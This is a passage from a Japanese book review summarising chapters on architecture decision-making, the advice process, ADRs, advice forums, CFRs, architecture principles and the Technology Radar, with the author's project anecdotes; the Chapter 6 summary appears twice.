織において極めて重要な意味を持ちます。Chapter 3. Decisions at Scale第3章「Decisions at Scale」は組織規模でのアーキテクチャ意思決定プロセスを詳細に分析します。著者は意思決定の本質的な構造を明らかにし標準的な意思決定アプローチの特徴と限界を示しています。現代の分散化されたソフトウェア開発環境における意思決定プロセスの要件について深い洞察を提供します。パーフェクトな意思決定――「決める瞬間」の思考法作者:安藤広大ダイヤモンド社Amazon意思決定プロセスの基本構造著者は意思決定プロセスをオプションの生成と決定の実行と決定の共有という3つの要素に分解します。この単純な分析枠組みは実務上極めて有用です。私も以前関わったマイクロサービスプロジェクトで同様の枠組みを用いて意思決定プロセスを整理しました。重要なのは決定の共有です。いかに優れた決定でも共有が適切に行われなければ無意味です。チーム間のコミュニケーション不足により優れた設計判断が台無しになるケースを何度も目にしてきました。Figure 3-1. A naive view of a generic decision process (“deciding”) in context (the required need for the decision and the subsequent implementation of the result) より引用標準的な意思決定プロセスとその限界著者は意思決定プロセスを中央集権型と分散型に大別します。中央集権型には独裁的・委任型・諮問型があり分散型には合意型・民主型・コンセンサス型があります。多くの組織が中央集権型と分散型のハイブリッドなアプローチを採用します。例えば技術選定は諮問型で行いながら実装の詳細はチームに委ねるといった具合です。意思決定プロセスの文化的基盤意思決定プロセスを考える際に重要なのは、その文化的基盤への理解です。渡邊雅子の『論理的思考とは何か』では、論理的思考が領域ごとに異なる形を取ることを指摘しています。この知見は、アーキテクチャ意思決定プロセスを設計する上で重要な示唆を与えます。経済領域では効率性を重視した思考が、政治領域では合意形成を重視した思考が特徴的です。また、法技術領域では規範性を重視した思考が、社会領域では共感を重視した思考が中心となります。例えば、マイクロサービスアーキテクチャの採用を検討する際、効率性(コストとパフォーマンス)、合意形成(各部門の利害調整)、規範性(セキュリティ要件)、共感(チームの受容性)という異なる観点からの評価が必要になります。アーキテクチャの意思決定プロセスを設計する際は、これらの文化的な思考パターンを状況に応じて適切に組み合わせることが重要です。特に日本の組織においては、共感による推理と配慮的な表現を重視する社会領域のアプローチを適切に取り入れることで、より効果的な意思決定が可能になります。論理的思考とは何か (岩波新書)作者:渡邉 雅子岩波書店Amazon意思決定プロセスの要件著者は意思決定プロセスの4つの要件を示します。適切な人々の関与・決定権の最適化・信頼の重視・共有の最小化です。これらの要件は私の実務経験とも合致します。以前のプロジェクトで決定権を完全に分散化したことで意思決定が遅くなり逆に集中化し過ぎて柔軟性を失うという両極端な失敗を経験しました。実践的な示唆本章の内容は日々のアーキテクチャ実践に直接活かせる示唆に富んでいます。意思決定プロセスの選択基準と共有方法の工夫は重要です。私の現在のプロジェクトでは決定のスコープに応じて異なるプロセスを使い分けています。マイクロサービス間のインターフェース設計は合意型で行う一方サービス内部の実装は各チームに委ねるといった具合です。結論著者はスピードと分散化を両立する新しい意思決定プロセスの可能性を示唆して締めくくっています。この視点は極めて重要です。私も組織の規模や文化に応じて柔軟にプロセスを適応させることが重要だと考えています。一つの正解はなく文脈に応じた適切な選択が必要です。結論として本章は意思決定プロセスの本質を明らかにし実践的な指針を提供しています。これらの知見は現代のソフトウェア開発組織において極めて重要な意味を持ちます。Chapter 4. The Architecture Advice Process第4章「The Architecture Advice Process」はアーキテクチャ意思決定のアプローチを提案します。アドバイスプロセスと呼ばれるこのアプローチは高速な意思決定と権限の分散化を両立します。著者は具体的な事例を通じてこのプロセスの実践方法と効果を示しています。他者と働く──「わかりあえなさ」から始める組織論 (NewsPicksパブリッシング)作者:宇田川元一ニューズピックスAmazonアドバイスプロセスの本質著者は意思決定プロセスの根本的な変革としてアドバイスプロセスを提案します。このプロセスの核心は誰もが意思決定を開始できるという点です。意思決定の集中化は開発の大きなボトルネックとなってきました。アドバイスプロセスでは決定者は2つのグループから助言を求める必要があります。影響を受ける関係者とその領域の専門家です。これは単なる形式的な手続きではなく社会的な契約として機能します。実践例による理解著者は2つの具体例を通じてアドバイスプロセスを説明します。1つ目は開発チームがリリーストグルを導入する事例です。チームは関係者や専門家から助言を得ることで当初の設計を大きく改善しました。私も似たような経験をしています。以前のプロジェクトでフィーチャートグルの導入を決めた際に様々な関係者の意見を聞くことで運用面の課題を事前に把握できました。アドバイスの本質著者はアドバイスは方向性と理由の組み合わせだと説明します。単なる意見との違いは理由の有無です。この視点は極めて重要です。理由を伴わない意見は意思決定の改善につながりません。理由のない意見は混乱を招くだけでした。「このフレームワークを使うべき」という意見より「このフレームワークならこういう理由でこの課題が解決できる」というアドバイスの方が遥かに有用でした。信頼の重要性アドバイスプロセスの成功は信頼関係にかかっています。著者は信頼を築くためには対話が重要だと指摘します。これは私の実務経験とも合致します。信頼はどの職種にも重要である。信頼がない職場では仕事ができないのは万国で共通なのである。対話を通じて相互理解を深めることで初めて有意義なアドバイスが可能になります。一方的な意見の押し付けは避けるべきです。syu-m-5151.hatenablog.com結論アドバイスプロセスは組織文化も変革します。従来型のアーキテクチャ実践では意思決定権限が集中することで様々な歪みが生じていました。アドバイスプロセスはこの問題を解決します。私の組織でもアドバイスプロセスの導入後はチーム間のコミュニケーションが活発になり意思決定のスピードも向上しました。結論として本章はアジャイルな開発環境に適した新しいアーキテクチャ実践を提案しています。アドバイスプロセスは意思決定の民主化と効率化を両立する優れたアプローチです。これからのソフトウェア開発組織にとって重要な示唆を含んでいます。Chapter 5. Rolling Out the Architecture Advice Process第5章「Rolling Out the Architecture Advice Process」はアドバイスプロセスの具体的な導入方法について解説します。著者は現在の組織的立場に応じた3つの導入アプローチを示し導入時の課題と対処法を詳細に説明しています。企業変革のジレンマ 「構造的無能化」はなぜ起きるのか (日本経済新聞出版)作者:宇田川元一日経BPAmazon導入アプローチの選択著者は導入アプローチを現在の意思決定権限に基づいて分類します。アーキテクトとして意思決定権を持つ場合は自身の実践から始めます。開発チームとして権限がない場合は実験的な試行から始めます。この分類は的確です。以前関わったプロジェクトでは権限を持つアーキテクトから導入を始めることで組織全体への浸透がスムーズでした。段階的な導入の重要性著者は小規模な実験からスタートすることを強く推奨します。これは組織の文化や既存のプロセスに大きな変更を加えるためです。実験を通じて課題を早期に発見し対処することが重要です。この指摘は極めて実践的です。私も大規模な変更を一度に行って混乱を招いた経験があります。段階的なアプローチは確実な導入につながります。初期の課題への対応著者は導入初期に直面する主な課題として4つを挙げます。プロセスの誤解、適切な助言者の選定漏れ、Why?の問いかけ不足、責任の所在の不明確さです。これらの課題は私も度々遭遇します。チームが自律的に判断を行う文化への移行には慎重なケアが必要です。信頼の構築著者は信頼関係の構築がプロセスの成功に不可欠だと指摘します。自身と他者の判断能力への信頼、アドバイスの授受への信頼、全体状況の把握への信頼が重要です。私の組織でも信頼関係の醸成に注力しています。定期的な振り返りと成功体験の共有が効果的でした。結論本章の内容は極めて実践的な示唆に富んでいます。導入時のチェックリストは有用です。組織の専門家マップを整備することでアドバイスプロセスがより効果的になります。私の現在のプロジェクトでもこのアプローチを採用しています。各領域の専門家を明確化することで適切なアドバイスを得やすくなりました。結論として本章はアドバイスプロセスの実践的な導入方法を提供しています。組織の現状に応じた段階的な導入と信頼関係の構築に焦点を当てた著者の提案は極めて妥当です。次章で説明される「アーキテクチャ決定記録」と組み合わせることで更に効果的な実践が可能になるでしょう。Chapter 6. Architectural Decision Records第6章「Architectural Decision Records」は、アーキテクチャ意思決定プロセスを支援し記録するための実践的なアプローチとしてArchitectural Decision Records (ADRs)を詳細に解説しています。ADRsはアーキテクチャ意思決定の透明性を高め、組織の学習を促進する重要なツールとして位置づけられています。百年の孤独 (新潮文庫 カ 24-2)作者:ガブリエル・ガルシア=マルケス新潮社AmazonADRsの本質と目的ADRsは単なる決定の記録ではありません。アーキテクチャ意思決定の全過程を支援する重要なツールです。現代のソフトウェア開発では意思決定の透明性とトレーサビリティが極めて重要です。実際の開発現場では以前のアーキテクチャ決定が後から問題を引き起こすことがしばしば発生します。ADRsはそのような状況でもアーキテクチャ決定の背景と理由を明確に示すことができます。意思決定の全プロセスをサポートするADRsの役割は重要です。とあるプロジェクトでも複雑なマイクロサービスアーキテクチャの移行においてADRsを活用しました。チーム間のコミュニケーションが改善され決定プロセスの透明性が大きく向上しました。Figure 6-1. The place of ADRs in the advice process より引用ADRsとDesign docsの違いここでADRsとよく比較されるDesign docsとの主な違いを整理しておくことは有用でしょう。両者は一見似ているように見えますが、その目的と特性は大きく異なります。tkybpp.hatenablog.comADRsは個々の重要な技術的決定に焦点を当て、その決定に至った背景と理由を時系列で記録します。例えば「なぜKafkaではなくRabbitMQを選択したのか」「どうしてMongoDBを採用したのか」といった具体的な決定事項とその文脈を残します。一度記録された決定は変更せず、新しい決定を追加することで履歴を形成していきます。一方、Design docsはシステム全体やコンポーネントの設計を包括的に説明することを目的とします。技術的な設計の詳細、アーキテクチャの全体像、実装方針などを広く扱い、システムの各部分の関係性を示します。Design docsは必要に応じて更新され、常に現在の設計状態を反映するように維持されます。この違いは実務上重要な意味を持ちます。あるマイクロサービス開発プロジェクトでは、Design docsでシステム全体のアーキテクチャや各サービスの役割、データフローを説明する一方で、ADRsでは個別の技術選定の決定と理由を記録していました。両者は補完関係にあり、大規模なプロジェクトでは両方を併用することで、設計の全体像と重要な決定の経緯の両方を効果的に残すことができます。このように、ADRsはDesign docsと異なり、意思決定のプロセスと理由を明確に記録することに特化しています。この特徴は、後述する「意思決定の全プロセスをサポート」という役割と密接に結びついています。他にも技術ドキュメントはあるのですが全体を探るにはこちらがオススメです。技術文書の書き方 · GitHubADRsの構造と実践ADRsには明確な構造があります。タイトル、メタデータ、決定内容、コンテキスト、オプション、結果、アドバイスという基本的なセクションで構成されます。各セクションは読み手を意識した構造になっており、決定の背景から結果までを効果的に伝えることができます。実際の開発現場ではオプションと結果のセクションが重要です。あるプロジェクトでデータベースの選定を行う際にADRsを活用しました。複数のオプションを比較検討する過程で、チームメンバー全員が意思決定に参加できる環境を作ることができました。ADRsのライフサイクル管理ADRsのステータス管理は重要です。ドラフト、提案、承認、廃止といった基本的なステータスに加えて、組織の必要に応じて独自のステータスを追加することも可能です。ステータス管理を通じてADRsの現在の状態を明確に示すことができます。とある案件ではGitHubのプルリクエストプロセスとADRsを統合しました。これによりレビューとフィードバックのプロセスが自然な形で確立され、意思決定の質が向上しました。ADRsの組織的影響ADRsの導入は組織文化にも大きな影響を与えます。意思決定プロセスの透明性が高まることで、チーム間の信頼関係が強化されます。また、過去の決定を参照できることで、新しいメンバーのオンボーディングも効率化されます。一方で、ADRsの導入には慎重なアプローチが必要です。形式的な文書作成に陥らないよう、実際の意思決定プロセスを支援するツールとして活用することが重要です。過度な形式主義は避けるべきです。結論と展望ADRsは現代のソフトウェア開発組織に不可欠なツールです。アーキテクチャ意思決定の透明性を高め、組織の学習を促進します。しかし、その効果を最大限に引き出すためには、組織の文化や既存のプロセスに合わせた適切な導入が必要です。Figure 6-1の意思決定プロセスの図は印象的です。ADRsが意思決定のどの段階でどのように活用されるかを明確に示しています。この図は実際の導入時のガイドとしても有用です。今後の課題としては、分散開発チームでのADRsの活用や、自動化ツールとの統合などが考えられます。これらの課題に取り組むことで、より効果的なアーキテクチャ意思決定プロセスを実現できるでしょう。結論ADRsは理論的な枠組みとしても優れていますが、実践的なツールとしてさらに重要です。とある案件では週次のアーキテクチャレビューでADRsを活用しています。これにより意思決定プロセスが標準化され、チーム全体の理解が深まりました。最後に強調したいのは、ADRsは生きたドキュメントだということです。形式的な文書作成に終始せず、実際の意思決定プロセスを支援するツールとして活用することが成功の鍵となります。組織の成長とともにADRsも進化させていく柔軟な姿勢が重要です。Chapter 6. Architectural Decision Records第6章「Architectural Decision Records」は、アーキテクチャ意思決定プロセスを支援し記録するためのアプローチとしてArchitectural Decision Records (ADRs)を詳細に解説しています。ADRsはアーキテクチャ意思決定の透明性を高め、組織の学習を促進する重要なツールとして位置づけられています。ADRsの本質と目的ADRsは単なる決定の記録ではありません。アーキテクチャ意思決定の全過程を支援する重要なツールです。現代のソフトウェア開発では意思決定の透明性とトレーサビリティが極めて重要です。実際の開発現場では以前のアーキテクチャ決定が後から問題を引き起こすことがしばしば発生します。ADRsはそのような状況でもアーキテクチャ決定の背景と理由を明確に示すことができます。意思決定の全プロセスをサポートするADRsの役割は重要です。とあるプロジェクトでも複雑なマイクロサービスアーキテクチャの移行においてADRsを活用しました。チーム間のコミュニケーションが改善され決定プロセスの透明性が大きく向上しました。Figure 6-1. The place of ADRs in the advice process より引用ADRsの構造と実践ADRsには明確な構造があります。タイトル、メタデータ、決定内容、コンテキスト、オプション、結果、アドバイスという基本的なセクションで構成されます。各セクションは読み手を意識した構造になっており、決定の背景から結果までを効果的に伝えることができます。実際の開発現場ではオプションと結果のセクションが重要です。あるプロジェクトでデータベースの選定を行う際にADRsを活用しました。複数のオプションを比較検討する過程で、チームメンバー全員が意思決定に参加できる環境を作ることができました。ADRsのライフサイクル管理ADRsのステータス管理は重要です。ドラフト、提案、承認、廃止といった基本的なステータスに加えて、組織の必要に応じて独自のステータスを追加することも可能です。ステータス管理を通じてADRsの現在の状態を明確に示すことができます。とある案件ではGitHubのプルリクエストプロセスとADRsを統合しました。これによりレビューとフィードバックのプロセスが自然な形で確立され、意思決定の質が向上しました。ADRsの組織的影響ADRsの導入は組織文化にも大きな影響を与えます。意思決定プロセスの透明性が高まることで、チーム間の信頼関係が強化されます。また、過去の決定を参照できることで、新しいメンバーのオンボーディングも効率化されます。一方で、ADRsの導入には慎重なアプローチが必要です。形式的な文書作成に陥らないよう、実際の意思決定プロセスを支援するツールとして活用することが重要です。過度な形式主義は避けるべきです。結論と展望ADRsは現代のソフトウェア開発組織に不可欠なツールです。アーキテクチャ意思決定の透明性を高め、組織の学習を促進します。しかし、その効果を最大限に引き出すためには、組織の文化や既存のプロセスに合わせた適切な導入が必要です。今後の課題としては、分散開発チームでのADRsの活用や、自動化ツールとの統合などが考えられます。これらの課題に取り組むことで、より効果的なアーキテクチャ意思決定プロセスを実現できるでしょう。結論ADRsは理論的な枠組みとしても優れていますが、実践的なツールとしてさらに重要です。とある案件では週次のアーキテクチャレビューでADRsを活用しています。これにより意思決定プロセスが標準化され、チーム全体の理解が深まりました。最後に強調したいのは、ADRsは生きたドキュメントだということです。形式的な文書作成に終始せず、実際の意思決定プロセスを支援するツールとして活用することが成功の鍵となります。組織の成長とともにADRsも進化させていく柔軟な姿勢が重要です。Part II. Nurturing and Evolving Your Culture of Decentralized TrustPart II. Nurturing and Evolving Your Culture of Decentralized Trustは、分散型アーキテクチャにおける組織文化の育成と発展に焦点を当てたパートです。Part Iで示したアドバイスプロセスとADRsを基盤として、それらを実効性のある仕組みへと成長させるために必要な要素を解説します。従来のヒエラルキー型組織から信頼ベースの分散型組織への移行における権限とガバナンスの再構築から始まり、その実現を支援する具体的な仕組みを提示します。特徴的なのはアーキテクチャ・アドバイスフォーラム、クロスファンクショナル要件、技術戦略、アーキテクチャ原則、テクノロジーレーダーといった支援要素の導入です。これらは一見シンプルですが、組織の状況に応じて柔軟に適用・進化させることができる実践的なツールです。このパートは、分散型アーキテクチャの実践に不可欠な信頼の文化を育むための具体的なアプローチを提供します。組織の一貫性を保ちながら分散型の意思決定を実現する方法を学ぶことができます。Chapter 7. Replacing Hierarchy with Decentralized Trust第7章「Replacing Hierarchy with Decentralized Trust」は、組織の階層構造を分散化された信頼関係へと転換する過程について詳細に解説しています。この章を通じて著者は、アーキテクチャの実践における信頼の重要性と、その育成・維持に必要な要素を具体的に示しています。変化を起こすリーダーはまず信頼を構築する 生き残る組織に変えるリーダーシップ作者:Frances Frei(フランシス・フライ),Anne Morriss(アン・モリス)日本能率協会マネジメントセンターAmazon信頼に基づく意思決定への転換アーキテクチャ・アドバイスプロセスは従来の階層的な意思決定構造を根本から変革します。意思決定の責任と説明責任を再分配し、より分散的で柔軟な組織構造を実現します。この転換は組織に大きな変化をもたらします。あるプロジェクトでは、従来のアーキテクチャ・レビューボードを廃止し、アドバイスプロセスへの移行を実施しました。当初は混乱もありましたが、チーム間のコミュニケーションが活発になり意思決定のスピードが大幅に向上しました。信頼文化の醸成著者は信頼文化の育成が不可欠だと主張します。信頼は自然に生まれるものではなく、意識的な取り組みが必要です。組織の規模が大きくなるにつれて、信頼関係の維持は難しくなります。とある案件では週次の振り返りミーティングを設け、意思決定プロセスの透明性を確保しています。これにより、チームメンバー同士の信頼関係が強化され、より良い意思決定が可能になりました。フロー重視のマインドセット著者はフローを重視するマインドセットの重要性を強調します。Netflixの事例を引用しながら、不必要な規則や承認プロセスを排除することの意義を説明します。実際のプロジェクトでも、過度な承認プロセスがボトルネックとなっていた経験があります。アドバイスプロセスの導入により、意思決定のフローが改善され、開発のスピードが向上しました。信頼の維持と成長組織の成長とともに信頼関係を維持することは困難になります。著者は小規模なチームから大規模な組織への移行過程で起こる課題を詳細に分析します。あるプロジェクトでは、チームの規模拡大に伴い、非公式なクリークが形成され始めました。この問題に対して、定期的な1on1ミーティングとフィードバックセッションを導入することで、信頼関係の維持に成功しました。信頼を支える要素著者は信頼関係を支える追加的な要素について言及します。これにはアーキテクチャ・アドバイスフォーラムや検証可能なCFRなどが含まれます。これらの要素は組織の状況に応じて選択的に導入することが重要です。とある案件では技術レーダーを導入し、技術選定の透明性を確保しています。これにより、チーム間の知識共有が促進され、より良い意思決定が可能になりました。確実性と予測可能性の誘惑著者は確実性と予測可能性への執着に警鐘を鳴らします。これは組織が官僚主義に陥る主要な原因となります。私も以前、過度な標準化により柔軟性を失ったプロジェクトを経験しています。実験的アプローチの重要性著者は継続的な実験とフィードバックの重要性を強調します。これは組織学習の核心です。とある案件でも小規模な実験から始め、成功事例を徐々に拡大するアプローチを採用しています。結論この章は、分散化された信頼に基づくアーキテクチャ実践への移行について、実践的な指針を提供しています。組織の成長に伴う信頼関係の変化と、それに対する対応策の重要性は印象的でした。これらの知見は、現代のソフトウェア開発組織に重要な示唆を与えます。技術の進化とともに組織構造も進化が必要です。分散化された信頼関係に基づく意思決定プロセスは、その進化の重要な一歩となるでしょう。今後の課題としては、リモートワークの普及に伴う信頼関係の構築方法や、グローバル組織における文化的な違いへの対応などが考えられます。これらの課題に対しても、本章で示された原則は有効な指針となるはずです。Chapter 8. An Architecture Advice Forum第8章「An Architecture Advice Forum」は、アーキテクチャ・アドバイスプロセスを支援する重要なツールとしてのアーキテクチャ・アドバイスフォーラムについて詳細に解説しています。この章を通じて、著者は定期的な対話の場がアーキテクチャ意思決定の質を向上させ、組織の信頼関係を強化する方法を具体的に示しています。ダイアローグ 価値を生み出す組織に変わる対話の技術作者:熊平美香ディスカヴァー・トゥエンティワンAmazonアドバイスフォーラムの本質アーキテクチャ・アドバイスフォーラムは単なる会議ではありません。それは意思決定プロセスを透明化し信頼関係を構築する場です。従来のアーキテクチャレビューボードとは異なり、承認プロセスではなく対話を重視します。このフォーラムの導入により意思決定の質が劇的に向上しました。あるプロジェクトでは、マイクロサービスアーキテクチャへの移行を決定する際にアドバイスフォーラムを活用し、多様な視点からの意見を集約できました。フォーラムの構造と運営フォーラムはシンプルな構造を持ちます。新規の決定案件に対するアドバイス、既存の決定のステータス確認、そしてその他の事項という基本的な議題構成です。このシンプルさが参加者の集中力を高め、本質的な議論を可能にします。実際の運用では定期的な開催が重要です。週次や隔週での開催が一般的ですが、組織の規模や文化に応じて調整が必要です。とある案件では週次開催を採用し、必要に応じて臨時セッションも設けています。協調的な議論の促進従来の対立的な議論から協調的な対話へのシフトがアドバイスフォーラムの特徴です。参加者は意見を戦わせるのではなく、共通の課題解決に向けて知見を共有します。Figure 8-1は従来の一対一のアドバイス形式と、フォーラム形式の違いを明確に示しています。フォーラムでは複数の視点が同時に共有され、より豊かな議論が可能になります。Figure 8-1. Comparing the interaction modes of the “no advice forum” approach (multiple, one-to-one serial interactions, one after another) with the “advice forum” alternative (multiple conversations, all in the same forum, with an audience of other advice offerers as well as nonadvising, learning observers) より引用信頼関係の構築アドバイスフォーラムは信頼関係の構築に大きく貢献します。定期的な対話を通じて、チーム間の理解が深まり、組織全体の凝集性が高まります。このフォーラムを通じて部門間の壁が徐々に低くなっていきました。実践的な導入方法フォーラムの導入は段階的に行うべきです。まず小規模なグループで実験的に開始し、成功事例を積み重ねていくアプローチが効果的です。初期段階では明確な目的と期待値を設定することが重要です。とある案件では最初の3ヶ月を試験期間として設定し、参加者からのフィードバックを基に継続的な改善を行いました。この経験から、フォーラムの形式は組織の文化に合わせて柔軟に調整すべきだと学びました。組織的な影響フォーラムは組織文化の変革をもたらします。透明性の向上は信頼関係を強化し、より良い意思決定を可能にします。また、新しいメンバーの参加障壁を下げ、知識共有を促進します。結論アーキテクチャ・アドバイスフォーラムは、現代のソフトウェア開発組織に不可欠なツールです。透明性と信頼を基盤とした意思決定プロセスは、より良いアーキテクチャの実現と組織の成長を支援します。今後の課題としては、リモートワーク環境でのフォーラムの効果的な運営や、大規模組織での展開方法の確立が挙げられます。しかし、フォーラムの基本原則を理解し適切に適用すれば、これらの課題も克服できるはずです。このフォーラムは組織の成熟度を高める強力な触媒となります。アーキテクチャ設計の質を向上させるだけでなく、エンジニアリング組織全体の協調性と創造性を高める効果があります。Chapter 9. Testable CFRs and Technology Strategy第9章「Testable CFRs and Technology Strategy」は、組織の技術的アラインメントを実現するための2つの重要な要素について詳細に解説しています。著者はテスト可能なCFR(Cross-Functional Requirements)と技術戦略を通じて、効果的な組織アラインメントを実現する方法を具体的に示しています。組織アラインメントの本質組織のアラインメントは単なる技術的な整合性以上のものです。多くの組織が技術的な標準化のみに注力し、ビジネス目標との整合性を見失いがちです。実際のプロジェクトでは、技術的な方向性は揃っていても組織の目標達成に寄与していないケースをよく目にします。あるプロジェクトでは、マイクロサービスアーキテクチャの採用により技術的な統一は図れましたが、サービスの分割粒度が業務の実態と合わず、結果として開発効率の低下を招きました。テスト可能なCFRの重要性著者はテスト可能なCFRの必要性を強調しています。CFRはシステム全体に横断的に適用される要件を明確にします。重要なのは、これらの要件が具体的でテスト可能な形で記述されることです。とある案件では、パフォーマンス要件を具体的な数値で定義し、自動テストで継続的に検証できるようにしました。「レスポンスタイムは500ms以内」といった曖昧な表現ではなく、「95%のリクエストが500ms以内、99%が800ms以内に完了すること」と明確に定義することで、チーム間の認識の違いを解消できました。技術戦略の役割技術戦略は組織の方向性を示す重要なツールです。著者は技術戦略を「組織のビジョンと目標達成に向けた技術的な選択と投資判断のフレームワーク」と定義しています。多くの組織が技術戦略を単なる技術選定の指針として扱いがちです。しかし、より重要なのは「何を選択しないか」の明確化です。あるプロジェクトでは、特定のクラウドプロバイダーに限定することで、運用負荷の軽減とコスト最適化を実現できました。ミニマルバイアブルアグリーメント著者は必要最小限の合意の重要性を強調します。これはCFRと技術戦略の両方に適用される概念です。過剰な標準化や制約は組織の柔軟性を損なう一方、不十分な合意は混乱を招きます。とある案件では「最小驚き原則」を採用し、チーム間で予期せぬ違いが発生していないかを定期的にチェックしています。これにより、必要な標準化と柔軟性のバランスを維持できています。戦略的投資の重要性著者は技術戦略を「言葉だけでなく投資」として具現化することを推奨します。これは共有サービスの形で実現されることが多いです。セルフサービス型のインフラストラクチャプラットフォームの提供が効果的でした。各チームが独自のインフラを構築・運用するのではなく、標準化されたプラットフォームを利用することで、開発効率の向上とコスト削減を実現できました。結論CFRと技術戦略は組織アラインメントを実現する上で不可欠なツールです。これらを適切に組み合わせることで、組織は効率的かつ効果的な意思決定が可能になります。しかし、これらのツールの導入には慎重なアプローチが必要です。組織の規模や文化に応じて、段階的な導入と継続的な改善が重要です。今後は、分散開発やクラウドネイティブアーキテクチャの普及に伴い、より柔軟で適応性の高いCFRと技術戦略の在り方が求められるでしょう。技術の進化に合わせて、これらのフレームワークも進化させていく必要があります。Chapter 10. Collectively Sourced Architectural Principles第10章「Collectively Sourced Architectural Principles」は、組織全体で共有されるアーキテクチャ原則の策定と維持について解説しています。この章を通じて著者は、アーキテクチャ原則が単なるドキュメントではなく、組織の技術戦略を実現するための重要な指針となることを示しています。チームトポロジー 価値あるソフトウェアをすばやく届ける適応型組織設計作者:マシュー・スケルトン,マニュエル・パイス日本能率協会マネジメントセンターAmazonアーキテクチャ原則の本質アーキテクチャ原則は組織の技術戦略を具体化する重要なツールです。多くの組織がトップダウンでアーキテクチャ原則を定めようとしますが、そのアプローチでは現場の実態と乖離した形骸化した原則になりがちです。実際のプロジェクトでは、チームメンバー全員で原則を策定することで、より実践的で実効性のある原則を作ることができました。例えばマイクロサービスアーキテクチャの採用において、「チームの独立性を最も重視する」という原則を設定し、サービス間の結合度を最小限に抑えることができました。learning.oreilly.comプリンシプルワークショップの実践著者はプリンシプルワークショップを通じて、組織全体で原則を策定することを推奨しています。重要なのは、参加者の多様性と、戦略的なテーマに基づいた原則の整理です。原則のメンテナンス原則の進化も重要なテーマです。著者は原則を「生きたドキュメント」として捉え、定期的な見直しと更新の必要性を説きます。ADRsを通じて原則の変更を記録し、その背景と理由を明確にすることで、組織の学習を促進できます。クラウドネイティブ化の過程で原則の見直しが必要になりました。「自社のクラウド」という原則に縛られすぎて柔軟性を失っていたため、「適切なクラウドサービスの選択」という原則に更新しました。組織文化との関係著者は原則が組織文化の反映であることを強調します。単なる技術的なガイドラインではなく、組織の価値観とビジョンを体現するものとして位置づけています。私のチームでは原則の策定プロセス自体が、組織文化の変革のきっかけとなりました。チーム間の対話が活発になり、技術的な決定に対する共通理解が深まりました。実践的な適用原則の適用は柔軟であるべきです。著者は原則を「絶対的なルール」ではなく「意思決定の指針」として捉えることを推奨します。これは現代のソフトウェア開発における不確実性に対応する賢明なアプローチです。例えば、あるプロジェクトでは特定の機能実装において原則との衝突が発生しましたが、その状況をADRで明確に記録し、例外的な対応の理由を共有することで、チーム全体の理解を深めることができました。結論アーキテクチャ原則は、組織の技術戦略を実現するための重要なツールです。しかし、その効果を最大限に引き出すためには、全員参加の策定プロセス、定期的な見直し、そして柔軟な適用が不可欠です。今後の課題としては、リモートワーク環境での原則策定ワークショップの実施方法や、グローバル組織での文化的な違いへの対応が挙げられます。しかし、著者が示した基本的なフレームワークは、これらの課題に対しても十分な適用可能性を持っています。Part III. Finding Your Way Through the Decision LandscapeChapter 11. Technology Radar第11章「Using a Technology Radar」は、組織の技術選択と意思決定を支援するためのツールとしてのTechnology Radarについて解説しています。著者は単なる技術トレンドの可視化ツール以上の価値をTechnology Radarに見出し、組織の集合知を活用した意思決定支援の仕組みとして位置づけています。Technology Radarといえばどこかのポッドキャストでt-wadaさんがオススメをしていたのでそこから見始めている(本当に覚えてなくて誰か教えてください⋯)。www.thoughtworks.comTechnology Radarの本質Technology Radarは航空管制のレーダーに似た形式で技術トレンドを可視化します。Thoughtworksが開発したこのツールは技術の採用状況を4つの象限(Tools/Techniques/Platforms/Languages & Frameworks)と4つのリング(Adopt/Trial/Assess/Hold)で表現します。著者はこれを「単なる技術マッピングではなく組織の集合的な経験と知見を凝縮したもの」と説明します。このビジュアライゼーションは一目で技術の位置づけを把握できる優れた特徴を持ちます。「Mermaid」のような新興技術が「Trial」から「Adopt」へ移行する様子や「AWS」が「Adopt」から「Trial」へ後退する変遷など、技術の盛衰を時系列で追跡できます。Technology Radarと意思決定プロセスTechnology Radarは組織の意思決定プロセスと密接に連携します。アーキテクチャ決定記録(ADR)にTechnology Radarのブリップ(技術要素)を参照することで、決定の文脈や根拠を明確にできます。Technology Radarと意思決定プロセスの連携は双方向です。新しい技術の採用決定は新規ブリップの追加につながり、既存技術の評価変更は位置の移動として反映されます。この相互作用により、組織の技術選択の履歴と根拠が透明化されます。組織独自のTechnology Radarの構築著者は組織固有のTechnology Radarの重要性を強調します。社内版Technology Radarでは自社開発のツールやフレームワークもブリップとして登録できます。また象限やリングの定義も組織の文脈に合わせて調整可能です。Technology Radarの作成プロセスもまた重要な価値を持ちます。ブリップの収集から位置づけの決定まで、組織全体を巻き込んだ共創的なプロセスとして設計されています。このプロセス自体が技術に関する組織的な対話と学習の機会となります。継続的な更新と発展Technology Radarは定期的な更新(リスイープ)により鮮度を保ちます。更新プロセスにおけるブリップのステータス変更を示しています。定期更新に加えて個別の意思決定に応じた随時更新も可能です。この柔軟な更新メカニズムにより、組織の技術動向をリアルタイムに反映できます。更新の際にはブリップの履歴を保持することが推奨されます。各ブリップの変遷を追跡できる履歴ページを用意することで、技術選択の経緯と根拠を後から参照できます。これは新規参画者のオンボーディングや過去の意思決定の振り返りに有用です。実践的な示唆Technology Radarの実践では、適切な更新頻度の設定が重要です。著者は四半期または半年ごとの更新を推奨していますが、組織の技術変化の速度に応じて調整が必要です。より重要なのは更新のクオリティです。表面的な技術トレンドの追跡ではなく、組織の経験と教訓を凝縮した有意義な指針となることを目指すべきです。Technology Radarの運用では意思決定支援ツールとしての本質を見失わないことが肝要です。単なる技術カタログではなく、組織の技術選択を導く羅針盤として機能させる必要があります。そのためには技術情報の蓄積だけでなく、その活用を促進する仕組みづくりも重要です。Technology Radarは組織の技術戦略を可視化し共有するための強力なツールです。しかしその効果を最大限に引き出すには、組織文化や既存のプロセスとの調和が不可欠です。形式的な導入ではなく、組織の意思決定プロセスと密接に連携させることで、真の価値を発揮できます。結論Technology Radarは組織の技術選択を支援する効果的なツールとして機能します。その価値は単なる技術トレンドの可視化にとどまらず、組織の集合知を活用した意思決定支援の仕組みとして重要です。定期的な更新と履歴の保持により、組織の技術進化の軌跡を記録し学習に活かすことができます。意思決定プロセスとの密接な連携により、組織全体の技術力向上に貢献する重要な基盤となります。Part III. Finding Your Way Through the Decision LandscapePart III: Finding Your Way Through the Decision Landscape 